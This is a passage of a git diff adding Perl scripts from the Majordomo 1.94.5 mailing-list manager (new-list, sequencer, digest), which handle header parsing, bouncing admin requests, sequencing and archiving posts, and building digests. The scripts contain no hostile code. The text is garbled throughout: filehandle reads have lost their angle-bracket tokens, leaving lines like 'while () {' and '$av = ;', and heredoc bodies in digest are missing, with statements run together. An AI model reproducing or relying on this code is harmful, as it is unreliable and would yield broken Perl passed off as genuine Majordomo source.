(!defined($realsubj{$key})) { + $realsubj{$key} = $subj; + } + } + } + close(FILE); +} +close(INDEX); + +foreach $subj (sort keys %subjlist) { + # + # for each subject, record each file it was found in + # + undef %found; + undef @names; + for (split(",", $subjlist{$subj})) { + $found{$_} = 1; + } + # + # make list of 'found' names and wrap at 80 columns + # + $names = join(", ", sort keys %found); + undef @namelist; + while (length($names) > 40) { + $index = 40; + $index-- until (substr($names, $index, 1) eq " " || $index < 0); + push(@namelist,substr($names,0,$index)); + $names = substr($names,$index+1); + } + push(@namelist,$names); + printf TOPICS "%-40s %s\n", $realsubj{$subj}, $namelist[0]; + for ($i=1; $i <= $#namelist; $i++) { + print TOPICS " " x 41, $namelist[$i], "\n"; + } +} +close(TOPICS); + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list new file mode 100644 index 0000000..8e6388d --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list @@ -0,0 +1,103 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/contrib/new-list,v $ +# $Revision: 1.14 $ +# $Date: 1996/12/09 16:50:45 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "majordomo.pl"; +require "shlock.pl"; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); +die("new-list: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +Cc: $list-approval +From: $list-approval +Subject: Your mail to $list\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list\@$whereami. + +If you were trying to subscribe to the list, please send your request +to $whoami, not to $list\@$whereami. + +This is a new list. Your message is being returned unsent, but please +hold on to it. After a few days, when the flood of subscription +requests has died down somewhat, the owner of the list will announce +that the list is "open for business"; you should resubmit your posting +then. This way, everybody who joins the list within the first few days +of its existence starts out on an even footing, and we don't end up +with every other message asking "what did I miss?". + +Here's your original, unsent message: + +EOM + ; + +foreach ("From", "To", "Cc", "Subject", "Date", "Message-ID") { + ($hdr = $_) =~ tr/A-Z/a-z/; + if (defined($hdrs{$hdr})) { + print MAIL $_, ": ", $hdrs{$hdr}, "\n"; + } +} + +print MAIL "\n"; + +while () { + print MAIL $_; +} + +close(MAIL); + +exit 0; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer new file mode 100644 index 0000000..df50016 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer @@ -0,0 +1,559 @@ +#!/usr/bin/perl -U + +# Copyright 1996 MACS, Inc. +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement +# for usage rights. +# +# $Source: /sources/cvsrepos/majordomo/contrib/sequencer,v $ +# $Revision: 1.2 $ +# $Date: 1996/12/09 16:50:48 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +# sequence - a program for sequencing and archiving e-mail messages +# from majordomo +# +# Based heavily upon the resend script included in the majordomo distribution + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/sbin:/sbin"; + +# What shall we use for temporary files? +$tmp = "/tmp/majordomo.$$"; + +# Before doing anything else tell the world I am sequencer +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'sequencer'; + + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() + +if ($ARGV[0] =~ /^@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +use Getopt::Std; +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; +require "shlock.pl"; + +getopts("Aa:df:h:I:l:m:M:nNp:Rr:s") || die("sequencer: Getopts() failed: $!"); + +if (! defined($opt_l) || ! defined($opt_h)) { + die("sequencer: must specify both '-l list' and '-h host' arguments"); +} + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +if ( ! @ARGV) { + die("sequencer: must specify outgoing list as last arg(s)"); +} + +$opt_r = "$opt_r@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +if (defined($opt_f)) { + $sendmail_sender = $opt_f; +} else { + $sendmail_sender = "$opt_l-request"; +} + +if (defined($opt_a)) { + if ($opt_a =~ /^\//) { + open(PWD, $opt_a) || die("sequencer: open(PWD, \"$opt_a\"): $!"); + $opt_a = &chop_nl(); + } +} + +if (defined($opt_A) && ! defined($opt_a)) { + die("sequencer: must also specify '-a passwd' if using '-A' flag"); +} + +# code added for getting new sequence number + +if (defined($opt_N)) { + $opt_n = $opt_N; +} + +if (defined($opt_n)) { + $seqfile = "$listdir/$opt_l.seq"; + if (! -r $seqfile) { # if there is no sequence file, make one + open(SEQ, ">$seqfile") || die("sequencer: open of $seqfile failed: $!"); + print SEQ "1\n"; + close SEQ; + } + &main'lopen(SEQ, "<", "$seqfile") || die("sequencer: locked open of $seqfile failed: $!"); + chop($seqnum = ); + +# note that the sequence file is opened and locked from here until +# the message is sent + +} + + +$sender = "$sendmail_sender@$opt_h"; + +&open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:1 Can't open /tmp/sequencer.$$.out: $!"); + +&open_temp(IN, "/tmp/sequencer.$$.in") || + &abort("sequencer: Can't open /tmp/sequencer.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "/tmp/sequencer.$$.in") || + die("sequencer: Can't open /tmp/sequencer.$$.tmp: $!"); + +do { + $restart = 0; + $pre_hdr = 1; + while () { + if ($pre_hdr) { + if (/^\s*$/) { + # skip leading blank lines; usually only there if this is a + # restart after an in-body "Approved:" line + next; + } else { + $pre_hdr = 0; + $in_hdr = 1; + $kept_last = 0; + } + } + if ($in_hdr) { + if (/^\s*$/) { + # end of header; add new header fields + # if there is no subject, create one + if (!defined($subject)) { + local($foo); + if ($config_opts{$opt_l,"subject_prefix"} ne '') { + $foo = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + if (!/$foo_pat/) { + $foo = $foo . " "; + } + } + $subject = $foo . "Message for " . $opt_l; + print OUT $subject, "\n"; + } + + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), + "\n"; + } + + # print out additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $headers =~ s/\001/\n/g; + print OUT $headers; + } + + $in_hdr = 0; + print OUT $_; + + # print out front matter + if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l); + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; + } + } elsif (/^approved:\s*(.*)/i && defined($opt_a)) { + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } + } elsif (/^from /i # skip all these headers + || /^sender:/i + || /^return-receipt-to:/i + || /^errors-to:/i + || /^return-path:/i + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^\s/ && ! $kept_last) # skip if skipped last + ) { + # reset $kept_last in case next line is continuation + $kept_last = 0; + } else { + # check for administrivia requests + if (defined($opt_s) && ! defined($approved) + && (/^subject:\s*subscribe\b/i || + /^subject:\s*unsubscribe\b/i || + /^subject:\s*help\b/i || + /^subject:\s*RCPT:\b/ || + /^subject:\s*Delivery Confirmation\b/ || + /^subject:\s*NON-DELIVERY of:/ || + /^subject:\s*Undeliverable Message\b/ || + /^subject:\s*Receipt Confirmation\b/ || + /^subject:\s*Failed mail\b/ || + /^subject:\s.*\bchange\b.*\baddress\b/ || + /^subject:\s*request\b.*\baddition\b/i)) { + &bounce("Admin request"); + } + + # prepend subject prefix + if ( (/^subject:\s*/i) && + ($config_opts{$opt_l,"subject_prefix"} ne '') + ) { + local($foo) = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + $subject = $_; + $subject =~ s/^subject:\s*(.*)/$1/i; + $subject = &chop_nl($foo . " " . $subject); + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:\s*/Subject: $foo /i if !/$foo_pat/; + } + + if ( /^from:\s*(.+)/i ) + { + $from = $1; + $from_last = 1; + } + elsif ( defined($from_last) ) + { + if ( /^\s+(.+)/ ) + { + $from .= " $1"; + } + else + { + undef($from_last); + } + } + &check_hdr_line($_); # check for length & balance + $kept_last = 1; + print OUT $_; + } + } else { + # this isn't a header line, so print it (maybe) + # first, though, is the first line of the body an "Approved:" line? + if (($body_len == 0) && /^approved:\s*(.*)/i && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } else { + # Yes, it's a valid "Approved:" line... + # So, we start over + $restart = 1; + close(OUT); + unlink("/tmp/sequencer.$$.out"); + &open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:2 Can't open /tmp/sequencer.$$.out: $!"); + last; + } + } + $body_len += length($_); + # make sure it doesn't make the message too long + if (defined($opt_M) && ! defined($approved) + && ($body_len > $opt_M)) { + &bounce("Message too long (>$opt_M)"); + } + # add admin-request recognition heuristics here... (body) + if (defined($opt_s) && ! defined($approved) && ($body_line++ < 5) && ( + /\badd me\b/i + || /\bdelete me\b/i || /\bremove\s+me\b/i + || /\bchange\b.*\baddress\b/ + || /\bsubscribe\b/i || /^sub\b/i + || /\bunsubscribe\b/i || /^unsub\b/i + || /^\s*help\s*$/i # help + || /^\s*info\s*$/i # info + || /^\s*info\s+\S+\s*$/i # info list + || /^\s*lists\s*$/i # lists + || /^\s*which\s*$/i # which + || /^\s*which\s+\S+\s*$/i # which address + || /^\s*index\s*$/i # index + || /^\s*index\s+\S+\s*$/i # index list + || /^\s*who\s*$/i # who + || /^\s*who\s+\S+\s*$/i # who list + || /^\s*get\s+\S+\s*$/i # get file + || /^\s*get\s+\S+\s+\S+\s*$/i # get list file + || /^\s*approve\b/i + || /^\s*passwd\b/i + || /^\s*newinfo\b/i + || /^\s*config\b/i + || /^\s*newconfig\b/i + || /^\s*writeconfig\b/i + || /^\s*mkdigest\b/i + )) { + &bounce("Admin request"); + } + print OUT $_; + } + } +} while ($restart); + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); + $footer =~ s/\001/\n/g; + print OUT $footer; +} + +close(OUT); + +if ( defined($opt_I) && defined($from) && ! defined($approved) ) { + local($infile) = 0; + + @files = split (/[:\t\n]+/, $opt_I); + + foreach $file (@files) { + if ($file !~ /^\//) { + $file = "$listdir/$file"; + } + if ( open (LISTFD, "<${file}") != 0 ) { + @output = grep (&addr_match($from, $_), ); + close (LISTFD); + + if ( $#output != -1 ) { + $infile = 1; + last; + } + } else { + die("sequencer:Can't open $file: $!"); + } + } + + if ( $infile == 0 ) { + &bounce ("Non-member submission from [$from]"); + } +} + +if (defined($opt_A) && ! defined($approved)) { + &bounce("Approval required"); +} + +$sendmail_cmd = "/usr/lib/sendmail $opt_m -f$sendmail_sender " . + join(" ", @ARGV); + +if (defined($opt_d)) { + $| = 1; + print "Command: $sendmail_cmd\n"; + $status = (system("cat /tmp/sequencer.$$.out") >> 8); + unlink(); + +#remember to unlock the sequence file here! + if (defined($opt_n)) { + &main'lclose(SEQ); + } + exit($status); +} else { + local(*MAILOUT, *MAILIN, @mailer); + @mailer = split(' ', "$sendmail_cmd"); + open(MAILOUT, "|-") || &do_exec_sendmail(@mailer); +# create archival copy + if (defined($opt_N)) { + if (open (INDEX, ">>$filedir/$opt_l$filedir_suffix/INDEX")) { + $timenow = localtime(time); + printf(INDEX "%s\n\tFrom %s on %s\n", $subject, $from, $timenow); + close (INDEX); + } + open (ARCHIVE, ">$filedir/$opt_l$filedir_suffix/$seqnum"); + } + open(MAILIN, "/tmp/sequencer.$$.out"); + while () { + print MAILOUT $_; + if (defined($opt_N)) { + print ARCHIVE $_; + } + } + close(MAILOUT); + if (defined($opt_N)) { + close(ARCHIVE); + } + if (defined($opt_n)) { + $seqnum++; + &main'lreopen(SEQ, ">", "$seqfile"); + print SEQ $seqnum, "\n"; + &main'lclose(SEQ); + } + close(MAILIN); + unlink(); + exit(0); +} + +sub check_balance { + # set a temporary variable + local($t) = shift; + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > 128) && ! defined($approved)) { + &bounce("Header line too long (>128)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > 1024) && ! defined($approved)) { + &bounce("Header field too long (>1024)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local($reason) = shift; + local($_); + + &resend_sendmail(BOUNCE, $sender, "BOUNCE $opt_l@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(); + exit(0); +} + +sub resend_sendmail { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + for (@to) { + $_ = join(", ", &ParseAddrs($_)); + } + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> /usr/lib/sendmail -f$sendmail_sender -t\n"; + } else { + local(@mailer) = split(' ',"/usr/lib/sendmail -f$sendmail_sender -t"); + open(MAIL, "|-") || &do_exec_sendmail(@mailer); + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest new file mode 100644 index 0000000..e16d632 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest @@ -0,0 +1,504 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (sort(@files)) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + foreach $file (@processed) { + unlink($file); + } + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]."@".${whereami}; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if 